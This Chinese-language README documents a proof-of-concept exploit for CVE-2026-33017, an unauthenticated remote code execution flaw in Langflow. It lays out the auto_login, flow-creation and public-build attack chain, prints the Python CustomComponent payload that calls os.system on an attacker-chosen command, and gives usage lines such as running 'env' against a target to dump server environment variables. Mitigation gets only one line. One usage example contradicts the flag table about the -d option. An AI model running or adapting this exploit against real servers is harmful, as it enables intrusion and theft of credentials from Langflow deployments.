
针对CVE-2026-33017的概念验证利用,演示了通过公共构建端点注入恶意CustomComponent,在Langflow中实现未认证远程代码执行。
CVE ID: CVE-2026-33017
受影响软件: Langflow
受影响版本: <= 1.8.2
修复版本: >= 1.9.0
严重性: 严重
作者: r3nsi15
日期: 2026
Langflow 暴露了一个公开的流程构建端点(/api/v1/build_public_tmp/{flowID}/flow),该端点接受任意 CustomComponent 代码块并在服务器端无需认证即可执行。通过将恶意 Python 载荷注入到 CustomComponent 节点的 code 字段,未经认证的攻击者可以以 Langflow 服务器进程的权限运行任意操作系统命令。
攻击链首先滥用 /api/v1/auto_login 端点,该端点在 Langflow 运行于默认自动登录配置时,无需凭据即可签发 Bearer 令牌。然后利用该令牌创建临时公开流程,并通过构建端点触发服务器端代码执行。
| 端点 | 方法 | 需要认证 | 用途 |
|---|
/api/v1/auto_login | GET | 否 | 获取 Bearer 令牌(需启用自动登录) |
/api/v1/flows/ | POST | 是(Bearer) | 创建新流程 |
/api/v1/build_public_tmp/{flowID}/flow | POST | 否(公开) | 触发构建 — 漏洞执行点 |
/api/v1/flows/{flowID} | DELETE | 是(Bearer) | 清理创建的流程 |
文件: CVE-2026-33017_POC.py
requests 库pip install requests
python3 CVE-2026-33017_POC.py -u <目标URL> -c <命令> [-d]
| 标志 | 长格式 | 必需 | 描述 |
|---|---|---|---|
-u | --url | 是 | Langflow 实例的基础 URL |
-c | --command | 是 | 在服务器上执行的 OS 命令 |
-d | --delete | 否 | 利用后删除创建的流程 |
验证代码执行:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
获取服务器环境变量:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
利用后保持流程存活(跳过清理):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] 获取令牌成功
[+] 已创建流程,ID: <id>
[+] 漏洞利用成功发送!
[+] 已成功删除流程!
该利用将以下 Python 代码片段注入到 CustomComponent 节点的 code 字段中:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - 动态导入 os 模块并在服务器上执行攻击者提供的 shell 命令。CustomComponent,需要满足 Langflow 的组件加载器而不引发解析错误。PUBLIC 并在其公开端点上调用构建端点,这意味着不需要会话 cookie 或认证令牌即可触发执行。Langflow 的 CustomComponent 系统允许将任意 Python 代码作为流程定义的一部分提交。/api/v1/build_public_tmp/{flowID}/flow 端点会在服务器端构建并部分评估这些代码,包括模块级语句,而没有进行沙箱化或限制对 Python 内建函数(如 __import__)的访问。
1. GET /api/v1/auto_login → 获取 Bearer 令牌(无需凭据)
2. POST /api/v1/flows/ → 创建 PUBLIC 流程(需要 Bearer 令牌)
3. POST /api/v1/build_public_tmp/ → 注入并执行恶意 CustomComponent(无需认证)
4. DELETE /api/v1/flows/{id} → 清理(可选)
所有四个步骤均可在默认的 Langflow 部署中由匿名攻击者执行。
LANGFLOW_AUTO_LOGIN=false)在任何面向互联网的部署中。此概念验证仅供教育和授权的安全研究目的使用。在未经明确书面许可的情况下对系统使用此脚本是非法且不道德的。作者和贡献者对滥用不承担任何责任。